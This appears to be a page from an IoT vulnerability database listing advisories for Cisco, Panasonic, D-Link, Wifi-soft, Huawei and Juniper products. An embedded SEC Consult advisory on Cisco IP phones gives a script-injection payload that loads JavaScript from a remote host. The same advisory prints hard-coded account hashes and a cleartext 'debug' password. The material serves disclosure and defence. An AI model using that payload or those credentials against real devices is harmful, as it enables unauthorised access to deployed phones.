VARIoT IoT vulnerabilities database

A vulnerability in the Admin Portal of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to view saved passwords in plain text. The vulnerability is due to the incorrect inclusion of saved passwords when loading configuration pages in the Admin Portal. An attacker with read or write access to the Admin Portal could exploit this vulnerability by browsing to a page that contains sensitive data. An exploit could allow the attacker to recover passwords for unauthorized use and expose those accounts to further attack. Cisco Identity Services Engine (ISE) Contains an information disclosure vulnerability.Information may be obtained. This may lead to further attacks. This issue being tracked by Cisco Bug ID CSCvm63427, CSCvm91147, CSCvm91202. The platform monitors the network by collecting real-time information on the network, users and devices, and formulating and implementing corresponding policies

A vulnerability in the TCP socket code of Cisco IOS and IOS XE Software could allow an unauthenticated, remote attacker to cause an affected device to reload. The vulnerability is due to a state condition between the socket state and the transmission control block (TCB) state. While this vulnerability potentially affects all TCP applications, the only affected application observed so far is the HTTP server. An attacker could exploit this vulnerability by sending specific HTTP requests at a sustained rate to a reachable IP address of the affected software. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a denial of service (DoS) condition on an affected device. Cisco IOS and Cisco IOS XE The software contains a state vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. This issue is being tracked by Cisco Bug ID CSCvg39082

BN-SDWBP3 firmware version 1.0.9 and earlier allows an attacker on the same network segment to bypass authentication to access to the management screen and execute an arbitrary command via unspecified vectors. BN-SDWBP3 provided by Panasonic Corporation is a Wi-Fi Reader/Writer for SD Memory Cards. BN-SDWBP3 contains multiple vulnerabilities listed below. * Improper Authentication (CWE-287) - CVE-2018-0676 * OS Command Injection(CWE-78) - CVE-2018-0677 * Buffer Overflow (CWE-119) - CVE-2018-0678 Taizoh Tsukamoto of Mitsui Bussan Secure Directions, Inc. reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership. - CVE-2018-0676 * A user on the same LAN who can access the product as an administrative privilege may execute an arbitrary OS command. - CVE-2018-0677 * A user on the same LAN who can access the product as an administrative privilege may execute an arbitrary code or perform a denial-of-service (DoS) attack. - CVE-2018-0678. An authorization issue vulnerability exists in Panasonic BN-SDWBP3 with firmware version 1.0.9 and earlier

BN-SDWBP3 firmware version 1.0.9 and earlier allows attacker with administrator rights on the same network segment to execute arbitrary OS commands via unspecified vectors. BN-SDWBP3 provided by Panasonic Corporation is a Wi-Fi Reader/Writer for SD Memory Cards. BN-SDWBP3 contains multiple vulnerabilities listed below. * Improper Authentication (CWE-287) - CVE-2018-0676 * OS Command Injection(CWE-78) - CVE-2018-0677 * Buffer Overflow (CWE-119) - CVE-2018-0678 Taizoh Tsukamoto of Mitsui Bussan Secure Directions, Inc. reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership. * An attacker may access to the management screen and execute an arbitrary command. - CVE-2018-0676 * A user on the same LAN who can access the product as an administrative privilege may execute an arbitrary OS command. - CVE-2018-0677 * A user on the same LAN who can access the product as an administrative privilege may execute an arbitrary code or perform a denial-of-service (DoS) attack. - CVE-2018-0678. An operating system command injection vulnerability exists in Panasonic BN-SDWBP3 with firmware version 1.0.9 and earlier

Buffer overflow in BN-SDWBP3 firmware version 1.0.9 and earlier allows an attacker on the same network segment to execute arbitrary code via unspecified vectors. BN-SDWBP3 provided by Panasonic Corporation is a Wi-Fi Reader/Writer for SD Memory Cards. BN-SDWBP3 contains multiple vulnerabilities listed below. * Improper Authentication (CWE-287) - CVE-2018-0676 * OS Command Injection(CWE-78) - CVE-2018-0677 * Buffer Overflow (CWE-119) - CVE-2018-0678 Taizoh Tsukamoto of Mitsui Bussan Secure Directions, Inc. reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership. * An attacker may access to the management screen and execute an arbitrary command. - CVE-2018-0676 * A user on the same LAN who can access the product as an administrative privilege may execute an arbitrary OS command. - CVE-2018-0677 * A user on the same LAN who can access the product as an administrative privilege may execute an arbitrary code or perform a denial-of-service (DoS) attack. - CVE-2018-0678

plural D-Link Product devices contain a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. D-LinkDIR-822C1 and others are all wireless router products of D-Link. A command execution vulnerability exists in several D-Link products that can be exploited by remote attackers to execute commands. D-Link DIR-822 C1, etc. The following products and versions are affected: D-Link DIR-822 C1 with firmware prior to v3.11B01Beta; DIR-822-US C1 with firmware prior to v3.11B01Beta; DIR-850L A with firmware prior to v1.21B08Beta *; DIR-850L B* with firmware prior to v2.22B03Beta; DIR-880L A* with firmware prior to v1.20B02Beta

plural D-Link Product devices have authentication vulnerabilities.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. D-Link DIR-822 C1, etc. are all wireless router products of D-Link. A security vulnerability exists in several D-Link products. An attacker could exploit this vulnerability to bypass authentication. The following products and versions are affected: D-Link DIR-822 C1 with firmware prior to v3.11B01Beta; DIR-822-US C1 with firmware prior to v3.11B01Beta; DIR-850L A with firmware prior to v2.22B03Beta *; DIR-880L A* with firmware prior to v1.20B02Beta; DIR-850L B* with firmware prior to v2.22B03Beta

A vulnerability in Cisco 900 Series Aggregation Services Router (ASR) software could allow an unauthenticated, remote attacker to cause a partial denial of service (DoS) condition on an affected device. The vulnerability is due to insufficient handling of certain broadcast packets ingress to the device. An attacker could exploit this vulnerability by sending large streams of broadcast packets to an affected device. If successful, an exploit could allow an attacker to impact services running on the device, resulting in a partial DoS condition. This issue is being tracked by Cisco Bug ID CSCvh94635

A vulnerability in the email message filtering feature of Cisco AsyncOS Software for Cisco Email Security Appliances (ESA) could allow an unauthenticated, remote attacker to cause the CPU utilization to increase to 100 percent, causing a denial of service (DoS) condition on an affected device. The vulnerability is due to improper filtering of email messages that contain references to whitelisted URLs. An attacker could exploit this vulnerability by sending a malicious email message that contains a large number of whitelisted URLs. A successful exploit could allow the attacker to cause a sustained DoS condition that could force the affected device to stop scanning and forwarding email messages. CiscoEmailSecurityAppliance (ESA) is an email security appliance from Cisco. AsyncOSSoftware is the operating system used in it. This issue is being tracked by Cisco Bug ID CSCvm81627

A vulnerability in the Cisco IP Phone 8800 Series Software could allow an unauthenticated, remote attacker to conduct an arbitrary script injection attack on an affected device. The vulnerability exists because the software running on an affected device insufficiently validates user-supplied data. An attacker could exploit this vulnerability by persuading a user to click a malicious link provided to the user or through the interface of an affected device. A successful exploit could allow an attacker to execute arbitrary script code in the context of the user interface or access sensitive system-based information, which under normal circumstances should be prohibited. The Cisco IP Phone 8800 Series device is an IP phone that provides video and VoIP communication capabilities at Cisco. This issue is tracked by Cisco Bug ID CSCvm95999. SEC Consult Vulnerability Lab Security Advisory < 20190109-0 > ======================================================================= title: Multiple Vulnerabilities product: Cisco VoIP Phones, e.g. models 88XX vulnerable version: See list of vulnerable devices/firmwares below fixed version: 12.5.1 MN CVE number: CVE-2018-0461 impact: high homepage: https://www.cisco.com found: 10/2018 by: W. Schober, IoT Inspector (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "The Cisco IP Phone 8800 Series is a great fit for businesses of all sizes seeking secure, high-quality, full-featured VoIP. Select models provide affordable entry to HD video and support for highly-active, in-campus mobile workers." Source: https://www.cisco.com/c/en/us/products/collaboration-endpoints/unified-ip-phone-8800-series/index.html Business recommendation: ------------------------ SEC Consult recommends to update the devices to the newest firmware (12.5.1 MN), where all the documented issues are fixed according to the vendor. We want to thank Cisco for the very professional response and great coordination. Vulnerability overview/description: ----------------------------------- 1) Arbitrary Script Injection The VOIP phones can be managed directly via the integrated keyboard and the built-in screen. In the configuration menu a few spots allow users to input text via the integrated keyboard into text boxes (e.g. Hostname). Those text input fields are prone to JavaScript-like code injection. An attacker is able to inject arbitrary payloads via the T9 keyboard. 2) Hard coded and weak secrets (Identified during an automated firmware analysis by IoT Inspector) The firmware, which is directly served from Cisco, contains multiple hard coded password hashes. They are stored in the /etc/passwd file and are hashed using an outdated algorithm (UNIX MD5+salt). The users are not documented anywhere. Access via SSH using those credentials is possible. Due to the outdated algorithm in use (UNIX MD5+Salt) and the very weak password it was easily possible to brute-force the password within seconds. 3) Undocumented debug functionality During a manual firmware analysis a few undocumented endpoints in the built-in web application, which is running on the VOIP phone, were identified. Those routes lead to parts of the web application that are neither documented nor officially mentioned anywhere by Cisco. Those parts of the web application allow an attacker to debug the device and create memory dumps. 4) Various outdated components with known vulnerabilities During the check a lot of outdated components were identified by their version numbers. It is not known which patches got backported by the vendor but Cisco mentioned that they have implemented some. The potentially affected components are: -) wpa_supplicant -) BusyBox -) Dnsmasq -) OpenSSL -) OpenSSH -) Linux Kernel Privilege Escalation app_keya -) Linux Kernel Privilege Escalation aMempodippera -) Multiple Linux Kernel CVE entries Please take a look at the IoT Inspector report for details: https://r.sec-consult.com/iotinspectorcisco Proof of concept: ----------------- 1) Arbitrary Script Injection A lot of settings can be changed directly on the VOIP phone via the built-in screen. There are also multiple locations, where user-input is parsed and displayed. It was possible to inject arbitrary (JavaScript) code directly into the phone UI. As an example the hostname of the VOIP Phone can be changed to the following value: hostnamea><img src=http://$IP/sec.js onload=exec()> The sec.js gets loaded from the remote host immediately and the exec function is executed. < A screenshot can be found online on our website > Further analysis has not been performed, but depending on the underlying libraries/system in use, it might be possible to get system level access via this attack vector. 2) Hard coded and weak secrets The file at the following path contains a hard coded password for the user debug: /_rootfs288xx.12-0-1ES-15.sbn.extracted/squashfs-root/etc/passwd $1$aoJQnypw$vHpN9WTJEQn1UnHzJdoz71 (Type: MD5 (Unix)) This hash corresponds to the following clear-text password: debug The password for the user root and default is also stored in the /etc/passwd: nCjlgBm7.lvX2 (Type: DES (Unix)) - Users: root, default 3) Undocumented debug functionality The built-in VOIP phone web server offers multiple functionalities for the end-user. During a manual analysis, undocumented endpoints with critical functionality got identified. Assigned ID: PSIRT-0289060835 Cisco PSIRT requests that the public disclosure should be shifted to January 2019 to avoid public christmas holidays. 2018-10-18: Contacting Cisco PSIRT and agreeing on public disclosure date 2019-01-09. 2018-10-24: Update from Cisco that a case owner got assigned. 2018-10-29: Update from Cisco that they are still reviewing the vulnerabilities and that they have already requested CVEs. 2018-11-05: Update from Cisco with further details about the internal scheduling. 2018-11-12: Update from Cisco with further details about CVEs. 2018-11-12: Cisco assigned CVE-2018-0461 and informed us that the vulnerabilities will be fixed in an upcoming release at the end of the year; Requesting affected/fixed versions. 2018-11-30: Cisco responds with affected devices and firmwares. Requesting updated firmware to do another IoT inspector scan, to verify the fixes. 2019-01-09: Public release of security advisory Solution: --------- Update the firmware of the affected devices to at least 12.5.1 MN. The vendor has published a security advisory as well: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190109-phone-script-injection Workaround: ----------- Disable the built-in web server Segment the VOIP network in a way, that access for devices other than VoIP phones in any direction is not possible at all. Remove the debug user Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF W. Schober / @2019

An issue was discovered on Wifi-soft UniBox controller 3.x devices. The tools/controller/diagnostic_tools_controller Diagnostic Tools Controller is vulnerable to Remote Command Execution, allowing an attacker to execute arbitrary system commands on the server with root user privileges. Authentication for accessing this component can be bypassed by using Hard coded credentials. Wifi-soft UniBox controller The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Wifi-soft's UniboxControllers is a fast-paced network controller for all large and small venues. There is a remote code injection vulnerability in Wifi-soft's UniboxControllers. An attacker can exploit a vulnerability to inject arbitrary code. The vulnerability comes from the fact that the network system or product does not correctly filter special elements in the process of constructing executable commands from external input data. Name: Remote Code Injection in Wifi-soft's Unibox Controllers Affected Software: Unibox Controller Affected Versions: 0.x - 2.x Homepage: https://wifi-soft.com/unibox-controller/ Vulnerability: Remote Code Injection Severity: Critical Status: Not Fixed CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) CVE-ID Reference: CVE-2019-3495 Name: Remote Command Injection in Wifi-soft's Unibox Controllers Affected Software: Unibox Controller Affected Versions: 0.x - 2.x Homepage: https://wifi-soft.com/unibox-controller/ Vulnerability: Remote Command Injection Severity: Critical Status: Not Fixed CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) CVE-ID Reference: CVE-2019-3497 Name: Remote Command Injection in Wifi-soft's Unibox Controllers Affected Software: Unibox Controller Affected Versions: 3.x Homepage: https://wifi-soft.com/unibox-controller/ Vulnerability: Remote Command Injection Severity: Critical Status: Not Fixed CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) CVE-ID Reference: CVE-2019-3496 I have posted all the technical details, POCs and root-cause analysis here: https://sahildhar.github.io/blogpost/Multiple-RCE-Vulnerabilties-in-Unibox-Controller-0.x-3.x/ Best Regards, *Sahil Dhar * Information Security Consultant +91 9821544985 <http://goog_555023787> [image: https://www.offensive-security.com/information-security-certifications/osce-offensive-security-certified-expert/] <https://www.offensive-security.com/information-security-certifications/osce-offensive-security-certified-expert/>

An issue was discovered on Wifi-soft UniBox controller 0.x through 2.x devices. network/mesh/edit-nds.php is vulnerable to arbitrary file upload, allowing an attacker to upload .php files and execute code on the server with root user privileges. Authentication for accessing this component can be bypassed by using Hard coded credentials. Wifi-soft UniBox controller The device contains a vulnerability related to unlimited uploads of dangerous types of files.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Wifi-soft's UniboxControllers is a fast-paced network controller for all large and small venues. There is a remote code injection vulnerability in Wifi-soft's UniboxControllers. An attacker can exploit a vulnerability to inject arbitrary code. Currently there is no information about this vulnerability, please keep an eye on CNNVD or vendor announcements. Name: Remote Code Injection in Wifi-soft's Unibox Controllers Affected Software: Unibox Controller Affected Versions: 0.x - 2.x Homepage: https://wifi-soft.com/unibox-controller/ Vulnerability: Remote Code Injection Severity: Critical Status: Not Fixed CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) CVE-ID Reference: CVE-2019-3495 Name: Remote Command Injection in Wifi-soft's Unibox Controllers Affected Software: Unibox Controller Affected Versions: 0.x - 2.x Homepage: https://wifi-soft.com/unibox-controller/ Vulnerability: Remote Command Injection Severity: Critical Status: Not Fixed CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) CVE-ID Reference: CVE-2019-3497 Name: Remote Command Injection in Wifi-soft's Unibox Controllers Affected Software: Unibox Controller Affected Versions: 3.x Homepage: https://wifi-soft.com/unibox-controller/ Vulnerability: Remote Command Injection Severity: Critical Status: Not Fixed CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) CVE-ID Reference: CVE-2019-3496 I have posted all the technical details, POCs and root-cause analysis here: https://sahildhar.github.io/blogpost/Multiple-RCE-Vulnerabilties-in-Unibox-Controller-0.x-3.x/ Best Regards, *Sahil Dhar * Information Security Consultant +91 9821544985 <http://goog_555023787> [image: https://www.offensive-security.com/information-security-certifications/osce-offensive-security-certified-expert/] <https://www.offensive-security.com/information-security-certifications/osce-offensive-security-certified-expert/>

There is a code execution vulnerability in Huawei PCManager versions earlier than PCManager 9.0.1.50. The attacker can tricking a user to install and run a malicious application to exploit this vulnerability. Successful exploitation may cause the attacker to execute malicious code and read/write memory. Huawei PCManager Contains an input validation vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Huawei PCManager is prone to a privilege-escalation vulnerability and a remote code-execution vulnerability. Attackers can leverage these issues to gain elevated privileges or execute arbitrary code within the context of the affected application. This issue has been fixed in PCManager 9.0.1.70, and 9.0.1.66. Huawei PCManager is a set of computer management software developed by China Huawei (Huawei)

There is a privilege escalation vulnerability in Huawei PCManager versions earlier than PCManager 9.0.1.50. The attacker can tricking a user to install and run a malicious application to exploit this vulnerability. Successful exploitation may cause the attacker to obtain a higher privilege. Huawei PCManager Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Huawei PCManager is prone to a privilege-escalation vulnerability and a remote code-execution vulnerability. Attackers can leverage these issues to gain elevated privileges or execute arbitrary code within the context of the affected application. This issue has been fixed in PCManager 9.0.1.70, and 9.0.1.66. Huawei PCManager is a set of computer management software developed by China Huawei (Huawei)

A vulnerability in the SRX Series Service Gateway allows deleted dynamic VPN users to establish dynamic VPN connections until the device is rebooted. A deleted dynamic VPN connection should be immediately disallowed from establishing new VPN connections. Due to an error in token caching, deleted users are allowed to connect once a previously successful dynamic VPN connection has been established. A reboot is required to clear the cached authentication token. Affected releases are Junos OS on SRX Series: 12.3X48 versions prior to 12.3X48-D75; 15.1X49 versions prior to 15.1X49-D150; 17.3 versions prior to 17.3R3; 17.4 versions prior to 17.4R2; 18.1 versions prior to 18.1R3; 18.2 versions prior to 18.2R2. Junos OS Contains an authentication vulnerability.Information may be obtained and information may be altered. Juniper Junos is prone to a security-bypass vulnerability. An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. This may aid in further attacks. Juniper SRX Series is an SRX series firewall device of Juniper Networks (Juniper Networks). Junos OS is a set of operating systems running on it. Service Gateway is one of the service gateways. A security vulnerability exists in Service Gateway in Junos OS on Juniper SRX Series

On EX2300, EX3400, EX4600, QFX3K and QFX5K series, firewall filter configuration cannot perform packet matching on any IPv6 extension headers. This issue may allow IPv6 packets that should have been blocked to be forwarded. IPv4 packet filtering is unaffected by this vulnerability. Affected releases are Juniper Networks Junos OS on EX and QFX series;: 14.1X53 versions prior to 14.1X53-D47; 15.1 versions prior to 15.1R7; 15.1X53 versions prior to 15.1X53-D234 on QFX5200/QFX5110 series; 15.1X53 versions prior to 15.1X53-D591 on EX2300/EX3400 series; 16.1 versions prior to 16.1R7; 17.1 versions prior to 17.1R2-S10, 17.1R3; 17.2 versions prior to 17.2R3; 17.3 versions prior to 17.3R3; 17.4 versions prior to 17.4R2; 18.1 versions prior to 18.1R2. Juniper Networks Junos OS Contains a resource exhaustion vulnerability.Information may be tampered with. Juniper Junos is prone to a security-bypass vulnerability. An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. This may aid in further attacks. Juniper EX2300 and others are all switch products of Juniper Networks (Juniper Networks). Junos OS is a set of operating systems running on it

A certain crafted HTTP packet can trigger an uninitialized function pointer deference vulnerability in the Packet Forwarding Engine manager (fxpc) on all EX, QFX and MX Series devices in a Virtual Chassis configuration. This issue can result in a crash of the fxpc daemon or may potentially lead to remote code execution. This issue only occurs when the crafted packet it destined to the device. Affected releases are Juniper Networks Junos OS: 14.1X53 versions prior to 14.1X53-D47 on EX and QFX Virtual Chassis Platforms; 15.1 versions prior to 15.1R7-S3 all Virtual Chassis Platforms 15.1X53 versions prior to 15.1X53-D50 on EX and QFX Virtual Chassis Platforms. Juniper Networks Junos OS Contains an input validation vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Juniper Junos is prone to a remote code-execution vulnerability. Attackers can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause a denial-of-service condition. Junos OS is a set of operating systems running on it. Security vulnerabilities exist in Junos OS Release 14.1X53, Release 15.1, and 15.1X53 on several Juniper products

On QFX and PTX Series, receipt of a malformed packet for J-Flow sampling might crash the FPC (Flexible PIC Concentrator) process which causes all interfaces to go down. By continuously sending the offending packet, an attacker can repeatedly crash the FPC process causing a sustained Denial of Service (DoS). This issue affects both IPv4 and IPv6 packet processing. Affected releases are Juniper Networks Junos OS on QFX and PTX Series: 17.4 versions prior to 17.4R2-S1, 17.4R3; 18.1 versions prior to 18.1R3-S1; 18.2 versions prior to 18.2R1-S3, 18.2R2; 17.2X75 versions prior to 17.2X75-D91, 17.2X75-D100. Juniper Networks Junos OS Contains a data processing vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. Juniper Junos is prone to a remote denial-of-service vulnerability. Juniper QFX and PTX Series are different series of switch products of Juniper Networks (Juniper Networks). Junos OS is a set of operating systems running on it. A security vulnerability exists in Junos OS on Juniper QFX and PTX Series

A Denial of Service (DoS) vulnerability in BGP in Juniper Networks Junos OS configured as a VPLS PE allows an attacker to craft a specific BGP message to cause the routing protocol daemon (rpd) process to crash and restart. While rpd restarts after a crash, repeated crashes can result in an extended DoS condition. This issue only affects PE routers configured with BGP Auto discovery for LDP VPLS. Other BGP configurations are unaffected by this vulnerability. Affected releases are Juniper Networks Junos OS: 12.1X46 versions prior to 12.1X46-D81; 12.3 versions prior to 12.3R12-S12; 12.3X48 versions prior to 12.3X48-D76; 14.1X53 versions prior to 14.1X53-D48; 15.1 versions prior to 15.1F6-S12, 15.1R7-S2; 15.1X49 versions prior to 15.1X49-D150; 15.1X53 versions prior to 15.1X53-D235, 15.1X53-D495, 15.1X53-D590, 15.1X53-D68; 16.1 versions prior to 16.1R3-S10, 16.1R4-S12, 16.1R6-S6, 16.1R7-S1; 16.2 versions prior to 16.2R2-S7; 17.1 versions prior to 17.1R2-S9, 17.1R3; 17.2 versions prior to 17.2R1-S7, 17.2R2-S6, 17.2R3; 17.3 versions prior to 17.3R2-S4, 17.3R3; 17.4 versions prior to 17.4R1-S5, 17.4R2; 18.1 versions prior to 18.1R2-S3, 18.1R3. Juniper Networks Junos OS Contains a data processing vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. Juniper Junos is prone to a denial-of-service vulnerability. An attacker can exploit this issue to cause the RPD to crash, effectively denying service to legitimate users. Juniper Junos OS is a set of network operating system of Juniper Networks (Juniper Networks) dedicated to the company's hardware systems. The operating system provides a secure programming interface and Junos SDK. BGP is one of the Border Gateway Protocols. The following versions are affected: Juniper Junos OS Release 12.1X46, Release 12.3, Release 12.3X48, Release 14.1X53, Release 15.1, Release 15.1X49, Release 15.1X53, Release 16.1, Release 16.2, Release 17.1, Release 17.2, Release 17.3, Release 17.4 Version, version 18.1

The routing protocol daemon (RPD) process will crash and restart when a specific invalid IPv4 PIM Join packet is received. While RPD restarts after a crash, repeated crashes can result in an extended Denial of Service (DoS) condition. This issue only affects IPv4 PIM. IPv6 PIM is unaffected by this vulnerability. Affected releases are Juniper Networks Junos OS: 12.1X46 versions prior to 12.1X46-D77; 12.3X48 versions prior to 12.3X48-D77; 15.1 versions prior to 15.1F6-S10, 15.1R6-S6, 15.1R7; 15.1X49 versions prior to 15.1X49-D150; 15.1X53 versions prior to 15.1X53-D233, 15.1X53-D59; 16.1 versions prior to 16.1R3-S8, 16.1R4-S8, 16.1R7; 16.2 versions prior to 16.2R2-S6; 17.1 versions prior to 17.1R2-S6, 17.1R3; 17.2 versions prior to 17.2R2-S3, 17.2R3; 17.3 versions prior to 17.3R2-S4, 17.3R3; 17.4 versions prior to 17.4R2. Juniper Networks Junos OS Contains a data processing vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. Juniper Junos is prone to a denial-of-service vulnerability. An attacker can exploit this issue to cause the RPD to crash, effectively denying service to legitimate users. Juniper Junos OS is a set of network operating system of Juniper Networks (Juniper Networks) dedicated to the company's hardware systems. The operating system provides a secure programming interface and Junos SDK. The following releases are affected: Juniper Junos OS Release 12.1X46, Release 12.3X48, Release 15.1, Release 15.1X49, Release 15.1X53, Release 16.1, Release 16.2, Release 17.1, Release 17.2, Release 17.3, Release 17.4